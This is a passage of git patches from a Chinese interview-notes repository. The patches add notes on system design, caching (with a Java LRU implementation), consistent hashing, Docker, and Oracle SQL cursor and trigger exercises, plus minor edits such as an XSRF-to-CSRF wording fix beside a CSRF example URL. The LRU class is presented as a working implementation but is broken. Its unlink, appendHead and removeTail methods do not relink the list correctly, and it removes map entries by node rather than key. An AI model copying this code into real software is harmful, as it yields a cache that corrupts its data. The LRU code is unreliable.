+$ last -n 5 | awk '{print $1 "\t" $3}'
 ```
 
 可以根据字段的某些条件进行匹配，例如匹配字段小于某个值的那一行数据。

From f8600a4611fe45f847e6a1e869aad7a1d43bcda4 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 30 Jul 2018 23:22:52 +0800
Subject: [PATCH 18/87] auto commit

---
 README.md                        |   8 ++-
 notes/剑指 offer 题解.md         |  41 +++++++++---
 notes/{安全性.md => 攻击技术.md} |   0
 notes/系统设计基础.md            | 104 +++++++++++++++++++++++++++++++
 4 files changed, 141 insertions(+), 12 deletions(-)
 rename notes/{安全性.md => 攻击技术.md} (100%)
 create mode 100644 notes/系统设计基础.md

diff --git a/README.md b/README.md
index 63067ac8..4b1411b5 100644
--- a/README.md
+++ b/README.md
@@ -105,6 +105,10 @@ Leetcode 上数据库题目的解题记录。
 
 ## 系统设计 :bulb:
 
+> [系统设计基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/系统设计基础.md)
+
+性能、伸缩性、扩展性、可用性、安全性
+
 > [分布式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式.md)
 
 分布式锁、分布式事务、CAP、BASE、Paxos、Raft
@@ -113,9 +117,9 @@ Leetcode 上数据库题目的解题记录。
 
 负载均衡、Session 管理
 
-> [安全性](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/安全性.md)
+> [攻击技术](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/攻击技术.md)
 
-XSS、CSRF、SQL 注入、DDos
+XSS、CSRF、SQL 注入、DDoS
 
 > [消息队列](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/消息队列.md)
 
diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index 05d43578..47d5d94e 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -1,4 +1,5 @@
 <!-- GFM-TOC -->
+* [1. 前言](#1-前言)
 * [2. 实现 Singleton](#2-实现-singleton)
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
@@ -80,6 +81,13 @@
 <!-- GFM-TOC -->
 
 
+# 1. 前言
+
+本文的绘图可通过以下途径免费获得并使用：
+
+- [ProcessOn](https://www.processon.com/view/5a3e4c7be4b0909c1aa18b49)
+- [DrawIO](https://drive.google.com/file/d/1nSSCpPUC05MFoeFuf_aeTtkm7dG5-bJ1/view?usp=sharing)
+
 # 2. 实现 Singleton
 
 [单例模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md)
@@ -170,7 +178,7 @@ Given target = 20, return false.
 
 当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
 
-<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="250"/> </div><br>
+<div align="center"> <img src="../pics//f94389e9-55b1-4f49-9d37-00ed05900ae0.png" width="250"/> </div><br>
 
 复杂度：O(M + N) + O(1)
 
@@ -456,7 +464,7 @@ public int pop() throws Exception {
 
 如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
 
-<div align="center"> <img src="../pics//a0df8edc-581b-4977-95c2-d7025795b899.png" width="300"/> </div><br>
+<div align="center"> <img src="../pics//faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/> </div><br>
 
 递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
@@ -941,11 +949,11 @@ private void printNumber(char[] number) {
 
 ① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
 
-<div align="center"> <img src="../pics//41392d76-dd1d-4712-85d9-e8bb46b04a2d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/> </div><br>
 
 ② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
 
-<div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/> </div><br>
 
 综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2，因此该算法的平均时间复杂度为 O(1)。
 
@@ -1103,7 +1111,7 @@ public void reOrderArray(int[] nums) {
 
 设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
 
-<div align="center"> <img src="../pics//207c1801-2335-4b1b-b65c-126a0ba966cb.png" width="500"/> </div><br>
+<div align="center"> <img src="../pics//ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/> </div><br>
 
 ```java
 public ListNode FindKthToTail(ListNode head, int k)
@@ -1140,7 +1148,7 @@ public ListNode FindKthToTail(ListNode head, int k)
 
 在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
 
-<div align="center"> <img src="../pics//71363383-2d06-4c63-8b72-c01c2186707d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//2858f8ad-aedb-45a5-a706-e98c96d690fa.jpg" width="600"/> </div><br>
 
 ```java
 public ListNode EntryNodeOfLoop(ListNode pHead)
@@ -1346,7 +1354,7 @@ boolean isSymmetrical(TreeNode t1, TreeNode t2)
 
 下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
 
-<div align="center"> <img src="../pics//0f373947-c68f-45b4-a59e-086154745ac5.png" width="300"/> </div><br>
+<div align="center"> <img src="../pics//6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/> </div><br>
 
 ## 解题思路
 
@@ -1632,6 +1640,19 @@ private void backtracking(TreeNode node, int target, ArrayList<Integer> path)
 
 输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
 
+```java
+public class RandomListNode
+{
+    int label;
+    RandomListNode next = null;
+    RandomListNode random = null;
+
+    RandomListNode(int label) {
+        this.label = label;
+    }
+}
+```
+
 <div align="center"> <img src="../pics//a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
 
 ## 解题思路
@@ -1812,7 +1833,7 @@ private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s)
 
 多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
 
-使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0 ，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
 public int MoreThanHalfNum_Solution(int[] nums)
@@ -1916,7 +1937,7 @@ public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k)
         if (maxHeap.size() > k)
             maxHeap.poll();
     }
-    return new ArrayList<>(maxHeap) ;
+    return new ArrayList<>(maxHeap);
 }
 ```
 
@@ -1997,7 +2018,7 @@ public char FirstAppearingOnce()
 
 ## 题目描述
 
-{6,-3,-2,7,-15,1,2,2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
+{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
 
 ## 解题思路
 
diff --git a/notes/安全性.md b/notes/攻击技术.md
similarity index 100%
rename from notes/安全性.md
rename to notes/攻击技术.md
diff --git a/notes/系统设计基础.md b/notes/系统设计基础.md
new file mode 100644
index 00000000..e132aa2c
--- /dev/null
+++ b/notes/系统设计基础.md
@@ -0,0 +1,104 @@
+<!-- GFM-TOC -->
+* [一、性能](#一性能)
+* [二、伸缩性](#二伸缩性)
+* [三、扩展性](#三扩展性)
+* [四、可用性](#四可用性)
+* [五、安全性](#五安全性)
+<!-- GFM-TOC -->
+
+
+# 一、性能
+
+## 性能指标
+
+### 1. 响应时间
+
+指从某个请求发出到接收到响应消耗的时间。
+
+在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
+
+### 2. 吞吐量
+
+指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
+
+### 3. 并发用户数
+
+指系统能同时处理的并发用户请求数量。
+
+在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
+
+目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
+
+- 多 CPU
+- IO 等待时间
+
+使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
+
+并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
+
+## 性能优化
+
+### 1. 集群
+
+将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
+
+### 2. 缓存
+
+缓存能够提高性能的原因如下：
+
+- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
+- 缓存数据可以位于靠近用户的地理位置上；
+- 可以将计算结果进行缓存，从而避免重复计算。
+
+### 3. 异步
+
+某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
+
+# 二、伸缩性
+
+指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
+
+## 伸缩性与性能
+
+如果系统存在性能问题，那么单个用户的请求总是很慢的；
+
+如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
+
+## 实现伸缩性
+
+应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
+
+关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器存储空间限制。
+
+对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
+
+# 三、扩展性
+
+指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
+
+实现可扩展主要有两种方式：
+
+- 使用消息队列进行解耦，应用之间通过消息传递的方式进行通信；
+- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务器框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
+
+# 四、可用性
+
+## 冗余
+
+保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
+
+应用服务器的冗余比较容易实现，只要保证应用服务器不具有状态，那么某个应用服务器故障时，负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上不会对用户有任何影响。
+
+存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
+
+## 监控
+
+对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
+
+## 服务降级
+
+服务器降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
+
+# 五、安全性
+
+要求系统的应对各种攻击手段时能够有可靠的应对措施。

From 75e5fd8be63458f7fd7f519d46bb2a811ad087b3 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 31 Jul 2018 00:30:14 +0800
Subject: [PATCH 19/87] auto commit

---
 README.md                                     |   4 +
 notes/缓存.md                                 | 265 ++++++++++++++++++
 pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg | Bin 0 -> 33792 bytes
 pics/66402828-fb2b-418f-83f6-82153491bcfe.jpg | Bin 0 -> 38912 bytes
 pics/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg | Bin 0 -> 34816 bytes
 5 files changed, 269 insertions(+)
 create mode 100644 notes/缓存.md
 create mode 100644 pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg
 create mode 100644 pics/66402828-fb2b-418f-83f6-82153491bcfe.jpg
 create mode 100644 pics/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg

diff --git a/README.md b/README.md
index 4b1411b5..5e49a332 100644
--- a/README.md
+++ b/README.md
@@ -121,6 +121,10 @@ Leetcode 上数据库题目的解题记录。
 
 XSS、CSRF、SQL 注入、DDoS
 
+> [缓存](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/缓存.md)
+
+缓存特征、缓存位置、缓存问题、数据分布、一致性哈希、LRU、CDN
+
 > [消息队列](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/消息队列.md)
 
 消息处理模型、使用场景、可靠性
diff --git a/notes/缓存.md b/notes/缓存.md
new file mode 100644
index 00000000..e60373dd
--- /dev/null
+++ b/notes/缓存.md
@@ -0,0 +1,265 @@
+<!-- GFM-TOC -->
+* [一、缓存特征](#一缓存特征)
+* [二、LRU](#二lru)
+* [三、缓存位置](#三缓存位置)
+* [四、CDN](#四cdn)
+* [五、缓存问题](#五缓存问题)
+* [六、数据分布](#六数据分布)
+* [七、一致性哈希](#七一致性哈希)
+<!-- GFM-TOC -->
+
+
+# 一、缓存特征
+
+## 命中率
+
+当某个请求能够通过访问缓存而得到响应时，称为缓存命中。
+
+缓存命中率越高，缓存的利用率也就越高。
+
+## 最大空间
+
+缓存通常位于内存中，内存的空间通常比磁盘空间小的多，因此缓存的最大空间不可能非常大。
+
+当缓存存放的数据量超过最大空间时，就需要淘汰部分数据来存放新到达的数据。
+
+## 淘汰策略
+
+- FIFO（First In First Out）：先进先出策略，在实时性的场景下，需要经常访问最新的数据，那么就可以使用 FIFO，使最先进入的数据（最晚的数据）被淘汰。
+
+- LRU（Least Recently Used）：最近最久未使用策略，优先淘汰最久未使用的数据，也就是上次被访问时间距离现在最远的数据。该策略可以保证内存中的数据都是热点数据，也就是经常被访问的数据，从而保证缓存命中率。
+
+参考资料：
+
+- [缓存那些事](https://tech.meituan.com/cache_about.html)
+
+# 二、LRU
+
+以下是一个基于 双向队列 + HashMap 的 LRU 算法实现，对算法的解释如下：
+
+- 最基本的思路是当访问某个节点时，将其从原来的位置删除，并重新插入到链表头部，这样就能保证链表尾部存储的就是最近最久未使用的节点，当节点数量大于缓存最大空间时就删除链表尾部的节点。
+- 为了使删除操作时间复杂度为 O(1)，那么就不能采用遍历的方式找到某个节点。HashMap 存储这 Key 到节点的映射，通过 Key 就能以 O(1) 的时间得到节点，然后再以 O(1) 的时间将其从双向队列中删除。
+
+```java
+public class LRU<K, V> implements Iterable<K> {
+
+    private Node head;
+    private Node tail;
+    private HashMap<K, Node> map;
+    private int maxSize;
+
+    private class Node {
+
+        Node pre;
+        Node next;
+        K k;
+        V v;
+
+        public Node(K k, V v) {
+            this.k = k;
+            this.v = v;
+        }
+    }
+
+    public LRU(int maxSize) {
+
+        this.maxSize = maxSize;
+        this.map = new HashMap<>(maxSize * 4 / 3);
+
+        head = new Node(null, null);
+        tail = new Node(null, null);
+
+        head.next = tail;
+        tail.pre = head;
+    }
+
+    public V get(K key) {
+
+        if (!map.containsKey(key)) {
+            return null;
+        }
+
+        Node node = map.get(key);
+        unlink(node);
+        appendHead(node);
+
+        return node.v;
+    }
+
+    public void put(K key, V value) {
+
+        if (map.containsKey(key)) {
+            Node node = map.get(key);
+            unlink(node);
+        }
+
+        Node node = new Node(key, value);
+        map.put(key, node);
+        appendHead(node);
+
+        if (map.size() > maxSize) {
+            Node toRemove = removeTail();
+            map.remove(toRemove);
+        }
+    }
+
+    private void unlink(Node node) {
+        Node pre = node.pre;
+        node.pre = node.next;
+        node.next = pre;
+    }
+
+    private void appendHead(Node node) {
+        node.next = head.next;
+        head.next = node;
+    }
+
+    private Node removeTail() {
+        Node node = tail.pre;
+        node.pre = tail;
+        return node;
+    }
+
+    @Override
+    public Iterator<K> iterator() {
+
+        return new Iterator<K>() {
+
+            private Node cur = head.next;
+
+            @Override
+            public boolean hasNext() {
+                return cur != tail;
+            }
+
+            @Override
+            public K next() {
+                Node node = cur;
+                cur = cur.next;
+                return node.k;
+            }
+        };
+    }
+}
+```
+
+# 三、缓存位置
+
+## 浏览器
+
+当 HTTP 响应允许进行缓存时，浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
+
+## ISP
+
+网络服务提供商（ISP）是网络访问的第一跳，通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
+
+## 反向代理
+
+反向代理位于服务器之前，请求与响应都需要经过反向代理。通过将数据缓存在反向代理，在用户请求时就可以直接使用缓存进行响应。
+
+## 本地缓存
+
+使用 Guava Cache 将数据缓存在服务器本地内存中，服务器代码可以直接读取本地内存中的缓存，速度非常快。
+
+## 分布式缓存
+
+使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。相对于本地缓存来说，分布式缓存单独部署，可以根据需求分配硬件资源。不仅如此，服务器集群都可以访问分布式缓存，本地缓存需要在服务器集群之间进行同步，实现和性能开销上都非常大。
+
+## 数据库缓存
+
+MySQL 等数据库管理系统具有自己的查询缓存机制来提高 SQL 查询效率。
+
+# 四、CDN
+
+内容分发网络（Content distribution network，CDN）是一种通过互连的网络系统，利用更靠近用户的服务器更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源其它数据分发给用户。
+
+CDN 主要有以下优点：
+
+- 更快地将数据分发给用户；
+- 通过部署多台服务器，从而提高系统整体的带宽性能；
+- 多台服务器可以看成是一种冗余机制，从而具有高可用性。
+
+<div align="center"> <img src="../pics//15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
+
+参考资料：
+
+- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
+- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
+
+# 五、缓存问题
+
+## 缓存穿透
+
+指的是对某个一定不存在的数据进行请求，该请求将会穿透缓存来到数据库。
+
+解决方案：
+
+- 对这些不存在的数据缓存一个空数据；
+- 对这类请求进行过滤。
+
+## 缓存雪崩
+
+指的是由于数据没有被加载到缓存中，或者缓存数据在同一时间大面积失效（过期），又或者缓存服务器宕机，导致大量的请求都去到达数据库。
+
+在存在缓存的系统中，系统非常依赖于缓存，缓存分担了很大一部分的数据请求。当发生缓存雪崩时，数据库无法处理这么大的请求，导致数据库崩溃。
+
+解决方案：
+
+- 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
+- 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
+
+## 缓存一致性
+
+缓存一致性要求数据更新的同时缓存数据也能够实时更新。
+
+解决方案：
+
+- 在数据更新的同时立即去更新缓存；
+- 在读缓存之前先判断缓存是否是最新的，如果不是最新的先进行更新。
+
+要保证缓存一致性需要付出很大的代价，缓存数据最好是那些对一致性要求不高的数据，允许缓存数据存在一些脏数据。
+
+# 六、数据分布
+
+## 哈希分布
+
+哈希分布就是将数据计算哈希值之后，按照哈希值分配到不同的节点上。例如有 N 个节点，数据的主键为 key，则将该数据分配的节点序号为：hash(key)%N。
+
+传统的哈希分布算法存在一个问题：当节点数量变化时，也就是 N 值变化，那么几乎所有的数据都需要重新分布，将导致大量的数据迁移。
+
+## 顺序分布
+
+将数据划分为多个连续的部分，按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000，使用顺序分布可以将其划分成多个子表，对应的主键范围为 1 \~ 1000，1001 \~ 2000，...，6001 \~ 7000。
+
+顺序分布相比于哈希分布的主要优点如下：
+
+- 能保持数据原有的顺序；
+- 并且能够准确控制每台服务器存储的数据量，从而使得存储空间的利用率最大。
+
+参考资料：
+
+- 大规模分布式存储系统
+
+# 七、一致性哈希
+
+Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据失效的问题。
+
+## 基本原理
+
+将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环，每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后，存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
+
+<div align="center"> <img src="../pics//68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
+
+一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点，例如下图中新增节点 X，只需要将它前一个节点 C 上的数据重新进行分布即可，对于节点 A、B、D 都没有影响。
+
+<div align="center"> <img src="../pics//66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
+
+## 虚拟节点
+
+上面描述的一致性哈希存在数据分布不均匀的问题，节点存储的数据量有可能会存在很大的不同。
+
+数据不均匀主要是因为节点在哈希环上分布的不均匀，这种情况在节点数量很少的情况下尤其明显。解决方式是通过增加虚拟节点，然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得大，那么虚拟节点在哈希环上分布的均匀性就会比原来的真是节点号，从而使得数据分布也更加均匀。
+
+参考资料：
+
+- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
diff --git a/pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg b/pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg
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new file mode 100644
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HcmV?d00001


From d78b96587829957eb46f5046ed6a640b8d58e9ff Mon Sep 17 00:00:00 2001
From: HenryChan98 <chanhenry154@yahoo.com>
Date: Tue, 31 Jul 2018 14:35:08 +0800
Subject: [PATCH 20/87] Update SQL exercises

---
 other/sql 经典练习题.sql | 51 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/other/sql 经典练习题.sql b/other/sql 经典练习题.sql
index 72965fa2..a4b4f964 100644
--- a/other/sql 经典练习题.sql	
+++ b/other/sql 经典练习题.sql	
@@ -430,3 +430,54 @@ where SCORE.SNO = STUDENT.SNO and SSEX = '男' and CNO = (
 
 
 
+-- 46、使用游标方式来同时查询每位同学的名字，他所选课程及成绩。
+
+declare
+ cursor student_cursor is
+  select S.SNO,S.SNAME,C.CNAME,SC.DEGREE as DEGREE
+  from STUDENT S, COURSE C, SCORE SC
+  where S.SNO=SC.SNO
+  and SC.CNO=C.CNO;
+
+  student_row student_cursor%ROWTYPE;
+
+begin
+  open student_cursor;
+   loop
+    fetch student_cursor INTO student_row;
+    exit when student_cursor%NOTFOUND;
+     dbms_output.put_line( student_row.SNO || '' || 
+
+student_row.SNAME|| '' || student_row.CNAME || '' ||
+
+student_row.DEGREE);
+   end loop;
+  close student_cursor;
+END;
+/ 
+
+
+-- 47、 声明触发器指令，每当有同学转换班级时执行触发器显示当前和之前所在班级。
+
+CREATE OR REPLACE TRIGGER display_class_changes 
+AFTER DELETE OR INSERT OR UPDATE ON student 
+FOR EACH ROW 
+WHEN (NEW.sno > 0) 
+
+BEGIN 
+   
+   dbms_output.put_line('Old class: ' || :OLD.class); 
+   dbms_output.put_line('New class: ' || :NEW.class); 
+END; 
+/ 
+
+
+Update student
+set class=95031
+where sno=109;
+
+
+-- 48、 删除已设置的触发器指令
+
+DROP TRIGGER display_class_changes;
+

From b1bbd3d41895c488ead8768b6e882e2c102e7e12 Mon Sep 17 00:00:00 2001
From: fighter <fighterhit@163.com>
Date: Tue, 31 Jul 2018 17:30:04 +0800
Subject: [PATCH 21/87] change XSRF to CSRF

---
 notes/攻击技术.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/攻击技术.md b/notes/攻击技术.md
index 22af60ea..c99071a0 100644
--- a/notes/攻击技术.md
+++ b/notes/攻击技术.md
@@ -141,7 +141,7 @@ http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
 
 ### 1. 检查 Referer 首部字段
 
-Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 XSRF 攻击。
+Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
 
 这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
 

From 37b833c347b8d0e03802ad5c3e44845de43a54a1 Mon Sep 17 00:00:00 2001
From: cyc2018 <zhengyc101@163.com>
Date: Tue, 31 Jul 2018 10:34:59 +0000
Subject: [PATCH 22/87] Updates SUMMARY.md

Auto commit by GitBook Editor
---
 SUMMARY.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SUMMARY.md b/SUMMARY.md
index e60f018e..3ae54443 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -30,7 +30,7 @@
   * [一致性](/notes/一致性.md)
   * [分布式问题分析](/notes/分布式问题分析.md)
 
-
+This file is used to generate gitbook catalogue.
 
 
 

From 6cf167f64bac2e18ed31365bf2304113791941e3 Mon Sep 17 00:00:00 2001
From: cyc2018 <zhengyc101@163.com>
Date: Tue, 31 Jul 2018 10:36:23 +0000
Subject: [PATCH 23/87] Updates SUMMARY.md

Auto commit by GitBook Editor
---
 SUMMARY.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/SUMMARY.md b/SUMMARY.md
index 3ae54443..dde02f47 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -1,3 +1,5 @@
+This file is used to generate gitbook catalogue.
+
 # Summary
 
 * 算法
@@ -30,7 +32,5 @@
   * [一致性](/notes/一致性.md)
   * [分布式问题分析](/notes/分布式问题分析.md)
 
-This file is used to generate gitbook catalogue.
-
 
 

From 529152680cfa299f2d2c3e651e4e6b96f4ec77e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Tue, 31 Jul 2018 18:37:56 +0800
Subject: [PATCH 24/87] Update SUMMARY.md

---
 SUMMARY.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SUMMARY.md b/SUMMARY.md
index dde02f47..69b6103c 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -1,4 +1,4 @@
-This file is used to generate gitbook catalogue.
+This file used to generate gitbook catalogue.
 
 # Summary
 

From 7515d4a8df2e8f4c5860071098250f522581e680 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 31 Jul 2018 23:30:59 +0800
Subject: [PATCH 25/87] auto commit

---
 notes/Docker.md                               | 102 ++++++++++++++++++
 ...011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png | Bin 0 -> 32768 bytes
 pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png | Bin 0 -> 24576 bytes
 pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png | Bin 0 -> 17408 bytes
 pics/docker-filesystems-busyboxrw.png         | Bin 0 -> 32768 bytes
 5 files changed, 102 insertions(+)
 create mode 100644 notes/Docker.md
 create mode 100644 pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png
 create mode 100644 pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png
 create mode 100644 pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png
 create mode 100644 pics/docker-filesystems-busyboxrw.png

diff --git a/notes/Docker.md b/notes/Docker.md
new file mode 100644
index 00000000..f230f762
--- /dev/null
+++ b/notes/Docker.md
@@ -0,0 +1,102 @@
+<!-- GFM-TOC -->
+* [一、解决的问题](#一解决的问题)
+* [二、与虚拟机的比较](#二与虚拟机的比较)
+* [三、优势](#三优势)
+* [四、使用场景](#四使用场景)
+* [五、镜像与容器](#五镜像与容器)
+<!-- GFM-TOC -->
+
+
+<div align="center"> <img src="../pics//011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png"/> </div><br>
+
+# 一、解决的问题
+
+由于不同的机器有不同的操作系统，以及不同的库和组件，在将一个应用部署到多台机器上需要进行大量的环境配置操作。
+
+Docker 主要解决环境配置问题，它是一种虚拟化技术，对进程进行隔离，被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码，不需要开发人员学习特定环境下的技术，就能够将现有的应用程序部署在其他机器中。
+
+参考资料：
